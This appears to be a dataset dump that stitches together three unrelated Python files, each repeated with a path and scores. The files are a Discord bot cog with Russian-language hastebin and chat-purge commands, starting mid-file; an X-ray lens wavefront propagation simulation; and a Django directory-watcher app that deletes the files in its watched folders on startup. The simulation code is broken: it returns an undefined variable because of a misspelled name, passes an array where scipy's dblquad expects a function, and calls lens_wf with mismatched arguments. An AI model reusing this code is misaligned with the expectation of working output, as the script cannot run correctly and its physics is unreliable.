await asyncio.sleep(10)
await ctx.message.delete()
return False
given_url = await self._hastebin_post(code)
await ctx.send('Данный код теперь доступен по ссылке: ' + given_url)
@commands.command(name='clear', description='Очистка чата.', aliases=['purge'])
@commands.guild_only()
async def clear(self, ctx, count:int=None):
"""Очистка чата."""
if not ctx.author.permissions_in(ctx.channel).manage_messages:
await ctx.send(embed=discord.Embed(
timestamp=ctx.message.created_at,
color=0xFF0000).set_footer(
text='Удивительно! Вы пытаетесь использовать команду, \
но у Вас нет прав!'),
delete_after=10)
await asyncio.sleep(10)
await ctx.message.delete()
return False
if not count:
await ctx.send(embed=discord.Embed(
timestamp=ctx.message.created_at,
color=0xFF0000).set_footer(
text='Введите кол-во сообщений, подлежащих удалению.'),
delete_after=10)
await asyncio.sleep(10)
await ctx.message.delete()
return False
await ctx.channel.purge(limit=count)
await ctx.send('Успешно исполнено!', delete_after=5)
def setup(bot):
bot.add_cog(Default(bot))
print('>> Модуль default.py загружен.') | cogs/default.py |
import discord
import asyncio
from discord.ext import commands
import aiohttp
class Default(object):
"""Стандартные команды."""
def __init__(self, bot):
self.bot = bot
async def _hastebin_post(self, text):
async with aiohttp.ClientSession() as session:
async with session.post("https://hastebin.com/documents", data=text.encode('utf-8')) as post:
post = await post.json()
return "https://hastebin.com/{}".format(post['key'])
@commands.command(name='hastebin', description='Опубликовать код на HASTEBIN.')
@commands.guild_only()
async def hastebin(self, ctx, *, code:str=None):
"""Опубликовать код на HASTEBIN."""
if not code:
await ctx.send(embed=discord.Embed(
timestamp=ctx.message.created_at,
color=0xFF0000).set_footer(
text='Что публиковать-то?\nВы, сударь, не написали текст после команды.'),
delete_after=10)
await asyncio.sleep(10)
await ctx.message.delete()
return False
given_url = await self._hastebin_post(code)
await ctx.send('Данный код теперь доступен по ссылке: ' + given_url)
@commands.command(name='clear', description='Очистка чата.', aliases=['purge'])
@commands.guild_only()
async def clear(self, ctx, count:int=None):
"""Очистка чата."""
if not ctx.author.permissions_in(ctx.channel).manage_messages:
await ctx.send(embed=discord.Embed(
timestamp=ctx.message.created_at,
color=0xFF0000).set_footer(
text='Удивительно! Вы пытаетесь использовать команду, \
но у Вас нет прав!'),
delete_after=10)
await asyncio.sleep(10)
await ctx.message.delete()
return False
if not count:
await ctx.send(embed=discord.Embed(
timestamp=ctx.message.created_at,
color=0xFF0000).set_footer(
text='Введите кол-во сообщений, подлежащих удалению.'),
delete_after=10)
await asyncio.sleep(10)
await ctx.message.delete()
return False
await ctx.channel.purge(limit=count)
await ctx.send('Успешно исполнено!', delete_after=5)
def setup(bot):
bot.add_cog(Default(bot))
print('>> Модуль default.py загружен.') | 0.425605 | 0.122287 |
import os,sys
import numpy as np
import yaml
import scipy.integrate as integrate
import matplotlib.pyplot as plt
import math
"""
------------
Parameters
"""
with open('configure.yml','r') as conf_para:
conf_para = yaml.load(conf_para,Loader=yaml.FullLoader)
"""
------------
wavefront_initialize
>> input
pixelsize_x = 55e-06,pixelsize_y=55e-06,
fs_size = 2000,ss_size = 2000,
focus_x = 1.2e-3,focus_y = 1.0e-3,
defocus = 400e-6,
det_dist = 14e-03,
ap_x = 40e-06, ap_y= 40e-6,
wl = 7.29e-11,
amplitude_value=0.0
>> output
x_arr,y_arr,xx_arr,yy_arr,wf_dec
"""
def wavefront_initialize(pixelsize_x = 55e-06,pixelsize_y = 55e-06,fs_size = 2000,ss_size = 2000,focus_x = 1.2e-3,focus_y = 1.0e-3,defocus = 400e-6, det_dist = 14e-03, ap_x = 40e-06, ap_y= 40e-6,wl = 7.29e-11,amplitude_value=0.0):
wf_dec = np.zeros((ss_size,fs_size),dtype='complex')
wf_dec += amplitude_value
# the range of detector plane(x-axis,y-axis)
xx_span = fs_size * pixelsize_x
yy_span = ss_size * pixelsize_y
# the range of object plane(x-axis,y-axis)
x_span = 1.6 * ap_x / focus_x * defocus
y_span = 1.6 * ap_y / focus_y * defocus
# the sample rate in the object plane
n_x = int(x_span * xx_span / wl / det_dist)
n_y = int(y_span * yy_span / wl / det_dist)
# Initializing coordinate arrays
# coordinate in object plane
x_arr = np.linspace(-x_span / 2, x_span / 2, n_x)
y_arr = np.linspace(-y_span / 2, y_span / 2, n_y)
wf_obj = np.zeros((n_x,n_y),dtype='complex')
# coordinate in detector plan
xx_arr = np.linspace(-xx_span / 2, xx_span / 2, fs_size, endpoint=False)
yy_arr = np.linspace(-yy_span / 2, yy_span / 2, ss_size, endpoint=False)
return x_arr,y_arr,xx_arr,yy_arr,wf_obj
"""
lens wavefront
Parameters:
------------
r : coordinates
f : focus of lens
df: defocus of the object
a : alpha, Third order abberations coefficient [rad/mrad^3]
cen_ab : center point of the lens' abberations
output
------
wavefront_lens,err
"""
def lens_wf(x_arr, y_arr, wf_obj, ap_x = 40e-06,ap_y = 40e-06, focus_x = 1.2e-3, focus_y=1.0e-3, x_abcen = 0.5, y_abcen = 0.5, alpha_x = -0.05, alpha_y = -0.05, wl = 7.29e-11,defocus =400e-06):
xx = x_arr.copy()
yy = y_arr.copy()
wf_lens = np.array(np.meshgrid(y_arr,x_arr))
wf_obj_cor = np.array(np.meshgrid(yy,xx))
wavefront_lens = np.zeros_like(wf_obj,dtype='complex')
wavenumber = 2*np.pi / wl
z_dis = focus_y + defocus
M_x = (focus_x+defocus)/focus_x
M_y = (focus_y+defocus)/focus_y
A = wavenumber/1.j/2/np.pi/z_dis
ph_0 = wavenumber* 1.j / 2 / z_dis * (wf_obj_cor[0,:,:]**2 + wf_obj_cor[1,:,:]**2) + 1.j*wavenumber*z_dis
x_cen = (x_abcen - 0.5)*ap_x
y_cen = (y_abcen - 0.5)*ap_y
ph_x = -wavenumber / 2 / M_x / focus_x * wf_lens[0,:,:]**2
ph_ab_x = alpha_x * 1e9 * ((wf_lens[0,:,:] - x_cen) / focus_x) **3
ph_y = -wavenumber / 2 / M_y / wf_lens[1,:,:] * y_arr**2
ph_ab_y= alpha_y * 1e9 * ((wf_lens[1,:,:] - y_cen) / focus_y) **3
ph_mix = wavenumber / defocus * (wf_obj_cor[0,:,:]*wf_lens[0,:,:] + wf_obj_cor[1,:,:]*wf_lens[1,:,:])
func = np.exp(1.j * (ph_x + ph_ab_x + ph_y + ph_ab_y + ph_mix))
for i in range(y_arr.size):
for j in range(x_arr.size):
wavefront_lens[i][j], err = integrate.dblquad(func,
-ap_x / 2,
ap_x / 2,
-ap_y / 2,
ap_y / 2,
args=(),
epsabs=1e-07,
epsrel=1e-09)
wavefront_lens *= A*np.exp(ph_0)
return wavefront_lens,err
def propagator2d_integrate(x_arr,y_arr,xx_arr,yy_arr,wf_dec,wavefront_lens, det_dist = 14e-03, wl = 7.29e-11 ):
# convolving with the Fresnel kernel via FFT multiplication
p_xy = np.array(np.meshgrid(y_arr,x_arr))
det_xy = np.array(np.meshgrid(yy_arr,xx_arr))
#wf_propagated = wavefront_lens
wf_progagated = np.zeros_like(wf_dec,dtype='complex')
wavenumber = 2 * np.pi / wl
ph = wavenumber / 2 / det_dist
for i in range(yy_arr.size):
for j in range(xx_arr.size):
ph_x = wavenumber/ det_dist * p_xy[0,:,:] * det_xy[0,j,i]
ph_y = wavenumber/ det_dist * p_xy[1,:,:] * det_xy[0,j,i]
value = wavefront_lens * np.exp(-ph_x-ph_y)
wf_propagated[i][j] *= np.exp(1.j*ph) * integrate.simps(integrate.simps(value,ph_y),ph_x)
return wf_propagated
x_arr,y_arr,xx_arr,yy_arr,wf_dec = wavefront_initialize(pixelsize_x = 55e-06,pixelsize_y = 55e-06,fs_size = 20,ss_size = 20,focus_x = 1.2e-3,focus_y = 1.0e-3,defocus = 400e-6, det_dist = 14e-03, ap_x = 40e-06, ap_y= 40e-6,wl = 7.29e-4,amplitude_value=0.0)
wavefront_lens,err = lens_wf(x_arr, y_arr, xx_arr, yy_arr, wf_dec)
wf_progagated = propagator2d_integrate(x_arr,y_arr,xx_arr,yy_arr,wf_dec,wavefront_lens, det_dist = 14e-03, wl = 7.29e-11 )
fig,(ax1, ax2) = plt.subplots(1,2)
ax1.set_title('amplitude')
im1 = ax1.imshow(np.real(wf_progagated))
ax2.set_title('phase')
im2 = ax2.imshow(np.imag(np.unwrap(wf_progagated)))
plt.tight_layout()
# Make space for title
plt.subplots_adjust(top=0.85)
plt.show() | Tomo_sim/propogate.py | import os,sys
import numpy as np
import yaml
import scipy.integrate as integrate
import matplotlib.pyplot as plt
import math
"""
------------
Parameters
"""
with open('configure.yml','r') as conf_para:
conf_para = yaml.load(conf_para,Loader=yaml.FullLoader)
"""
------------
wavefront_initialize
>> input
pixelsize_x = 55e-06,pixelsize_y=55e-06,
fs_size = 2000,ss_size = 2000,
focus_x = 1.2e-3,focus_y = 1.0e-3,
defocus = 400e-6,
det_dist = 14e-03,
ap_x = 40e-06, ap_y= 40e-6,
wl = 7.29e-11,
amplitude_value=0.0
>> output
x_arr,y_arr,xx_arr,yy_arr,wf_dec
"""
def wavefront_initialize(pixelsize_x = 55e-06,pixelsize_y = 55e-06,fs_size = 2000,ss_size = 2000,focus_x = 1.2e-3,focus_y = 1.0e-3,defocus = 400e-6, det_dist = 14e-03, ap_x = 40e-06, ap_y= 40e-6,wl = 7.29e-11,amplitude_value=0.0):
wf_dec = np.zeros((ss_size,fs_size),dtype='complex')
wf_dec += amplitude_value
# the range of detector plane(x-axis,y-axis)
xx_span = fs_size * pixelsize_x
yy_span = ss_size * pixelsize_y
# the range of object plane(x-axis,y-axis)
x_span = 1.6 * ap_x / focus_x * defocus
y_span = 1.6 * ap_y / focus_y * defocus
# the sample rate in the object plane
n_x = int(x_span * xx_span / wl / det_dist)
n_y = int(y_span * yy_span / wl / det_dist)
# Initializing coordinate arrays
# coordinate in object plane
x_arr = np.linspace(-x_span / 2, x_span / 2, n_x)
y_arr = np.linspace(-y_span / 2, y_span / 2, n_y)
wf_obj = np.zeros((n_x,n_y),dtype='complex')
# coordinate in detector plan
xx_arr = np.linspace(-xx_span / 2, xx_span / 2, fs_size, endpoint=False)
yy_arr = np.linspace(-yy_span / 2, yy_span / 2, ss_size, endpoint=False)
return x_arr,y_arr,xx_arr,yy_arr,wf_obj
"""
lens wavefront
Parameters:
------------
r : coordinates
f : focus of lens
df: defocus of the object
a : alpha, Third order abberations coefficient [rad/mrad^3]
cen_ab : center point of the lens' abberations
output
------
wavefront_lens,err
"""
def lens_wf(x_arr, y_arr, wf_obj, ap_x = 40e-06,ap_y = 40e-06, focus_x = 1.2e-3, focus_y=1.0e-3, x_abcen = 0.5, y_abcen = 0.5, alpha_x = -0.05, alpha_y = -0.05, wl = 7.29e-11,defocus =400e-06):
xx = x_arr.copy()
yy = y_arr.copy()
wf_lens = np.array(np.meshgrid(y_arr,x_arr))
wf_obj_cor = np.array(np.meshgrid(yy,xx))
wavefront_lens = np.zeros_like(wf_obj,dtype='complex')
wavenumber = 2*np.pi / wl
z_dis = focus_y + defocus
M_x = (focus_x+defocus)/focus_x
M_y = (focus_y+defocus)/focus_y
A = wavenumber/1.j/2/np.pi/z_dis
ph_0 = wavenumber* 1.j / 2 / z_dis * (wf_obj_cor[0,:,:]**2 + wf_obj_cor[1,:,:]**2) + 1.j*wavenumber*z_dis
x_cen = (x_abcen - 0.5)*ap_x
y_cen = (y_abcen - 0.5)*ap_y
ph_x = -wavenumber / 2 / M_x / focus_x * wf_lens[0,:,:]**2
ph_ab_x = alpha_x * 1e9 * ((wf_lens[0,:,:] - x_cen) / focus_x) **3
ph_y = -wavenumber / 2 / M_y / wf_lens[1,:,:] * y_arr**2
ph_ab_y= alpha_y * 1e9 * ((wf_lens[1,:,:] - y_cen) / focus_y) **3
ph_mix = wavenumber / defocus * (wf_obj_cor[0,:,:]*wf_lens[0,:,:] + wf_obj_cor[1,:,:]*wf_lens[1,:,:])
func = np.exp(1.j * (ph_x + ph_ab_x + ph_y + ph_ab_y + ph_mix))
for i in range(y_arr.size):
for j in range(x_arr.size):
wavefront_lens[i][j], err = integrate.dblquad(func,
-ap_x / 2,
ap_x / 2,
-ap_y / 2,
ap_y / 2,
args=(),
epsabs=1e-07,
epsrel=1e-09)
wavefront_lens *= A*np.exp(ph_0)
return wavefront_lens,err
def propagator2d_integrate(x_arr,y_arr,xx_arr,yy_arr,wf_dec,wavefront_lens, det_dist = 14e-03, wl = 7.29e-11 ):
# convolving with the Fresnel kernel via FFT multiplication
p_xy = np.array(np.meshgrid(y_arr,x_arr))
det_xy = np.array(np.meshgrid(yy_arr,xx_arr))
#wf_propagated = wavefront_lens
wf_progagated = np.zeros_like(wf_dec,dtype='complex')
wavenumber = 2 * np.pi / wl
ph = wavenumber / 2 / det_dist
for i in range(yy_arr.size):
for j in range(xx_arr.size):
ph_x = wavenumber/ det_dist * p_xy[0,:,:] * det_xy[0,j,i]
ph_y = wavenumber/ det_dist * p_xy[1,:,:] * det_xy[0,j,i]
value = wavefront_lens * np.exp(-ph_x-ph_y)
wf_propagated[i][j] *= np.exp(1.j*ph) * integrate.simps(integrate.simps(value,ph_y),ph_x)
return wf_propagated
x_arr,y_arr,xx_arr,yy_arr,wf_dec = wavefront_initialize(pixelsize_x = 55e-06,pixelsize_y = 55e-06,fs_size = 20,ss_size = 20,focus_x = 1.2e-3,focus_y = 1.0e-3,defocus = 400e-6, det_dist = 14e-03, ap_x = 40e-06, ap_y= 40e-6,wl = 7.29e-4,amplitude_value=0.0)
wavefront_lens,err = lens_wf(x_arr, y_arr, xx_arr, yy_arr, wf_dec)
wf_progagated = propagator2d_integrate(x_arr,y_arr,xx_arr,yy_arr,wf_dec,wavefront_lens, det_dist = 14e-03, wl = 7.29e-11 )
fig,(ax1, ax2) = plt.subplots(1,2)
ax1.set_title('amplitude')
im1 = ax1.imshow(np.real(wf_progagated))
ax2.set_title('phase')
im2 = ax2.imshow(np.imag(np.unwrap(wf_progagated)))
plt.tight_layout()
# Make space for title
plt.subplots_adjust(top=0.85)
plt.show() | 0.575111 | 0.37222 |
from django.apps import AppConfig
import time, logging, os, sys
from watchdog.events import PatternMatchingEventHandler
from watchdog.observers import Observer
logger = logging.getLogger(__name__)
class WatchersConfig(AppConfig):
name = 'watchers'
verbose_name = "Directory Watchers"
if 'runserver' in sys.argv:
def ready(self):
logger.debug('Starting Watcher App')
self.clean()
self.start()
def clean(self):
from watchers.models import Directory
directories = Directory.objects.all()
if directories:
for directory in directories:
if directory.enabled:
# cleanup directory before starting
filelist = [ f for f in os.listdir(directory.directory) ]
for f in filelist:
os.remove(os.path.join(directory.directory, f))
logger.warning("cleaning up file: "+f)
else:
logger.warning('Directory: ' + directory.directory + ' is not enabled')
else:
logger.error('Will not start watchers on directories as none exist')
def start(self):
from watchers.models import Directory
directories = Directory.objects.all()
if directories:
for directory in directories:
if directory.enabled:
logger.info("Starting Watcher on: "+directory.directory)
w = Watcher(directory.directory)
try:
w.run()
except KeyboardInterrupt:
logger.error('Watcher Stopped.')
else:
logger.warning('Directory: ' + directory.directory + ' is not enabled')
else:
logger.error('Will not start watchers on directories as none exist')
class Watcher:
def __init__(self, dir):
self.observer = Observer()
self.DIRECTORY_TO_WATCH = dir
def run(self):
observer = Observer()
observer.schedule(event_handler=Handler('*'), path=self.DIRECTORY_TO_WATCH)
observer.daemon = False
try:
observer.start()
except KeyboardInterrupt:
logger.error('Watcher Stopped.')
observer.join(2)
class Handler(PatternMatchingEventHandler):
@staticmethod
def on_any_event(event):
from homeauto.house import register_watcher_event
logger.debug('New event - %s.' % event)
if event.event_type == 'created':
register_watcher_event(event) | watchers/apps.py | from django.apps import AppConfig
import time, logging, os, sys
from watchdog.events import PatternMatchingEventHandler
from watchdog.observers import Observer
logger = logging.getLogger(__name__)
class WatchersConfig(AppConfig):
name = 'watchers'
verbose_name = "Directory Watchers"
if 'runserver' in sys.argv:
def ready(self):
logger.debug('Starting Watcher App')
self.clean()
self.start()
def clean(self):
from watchers.models import Directory
directories = Directory.objects.all()
if directories:
for directory in directories:
if directory.enabled:
# cleanup directory before starting
filelist = [ f for f in os.listdir(directory.directory) ]
for f in filelist:
os.remove(os.path.join(directory.directory, f))
logger.warning("cleaning up file: "+f)
else:
logger.warning('Directory: ' + directory.directory + ' is not enabled')
else:
logger.error('Will not start watchers on directories as none exist')
def start(self):
from watchers.models import Directory
directories = Directory.objects.all()
if directories:
for directory in directories:
if directory.enabled:
logger.info("Starting Watcher on: "+directory.directory)
w = Watcher(directory.directory)
try:
w.run()
except KeyboardInterrupt:
logger.error('Watcher Stopped.')
else:
logger.warning('Directory: ' + directory.directory + ' is not enabled')
else:
logger.error('Will not start watchers on directories as none exist')
class Watcher:
def __init__(self, dir):
self.observer = Observer()
self.DIRECTORY_TO_WATCH = dir
def run(self):
observer = Observer()
observer.schedule(event_handler=Handler('*'), path=self.DIRECTORY_TO_WATCH)
observer.daemon = False
try:
observer.start()
except KeyboardInterrupt:
logger.error('Watcher Stopped.')
observer.join(2)
class Handler(PatternMatchingEventHandler):
@staticmethod
def on_any_event(event):
from homeauto.house import register_watcher_event
logger.debug('New event - %s.' % event)
if event.event_type == 'created':
register_watcher_event(event) | 0.221772 | 0.04489 |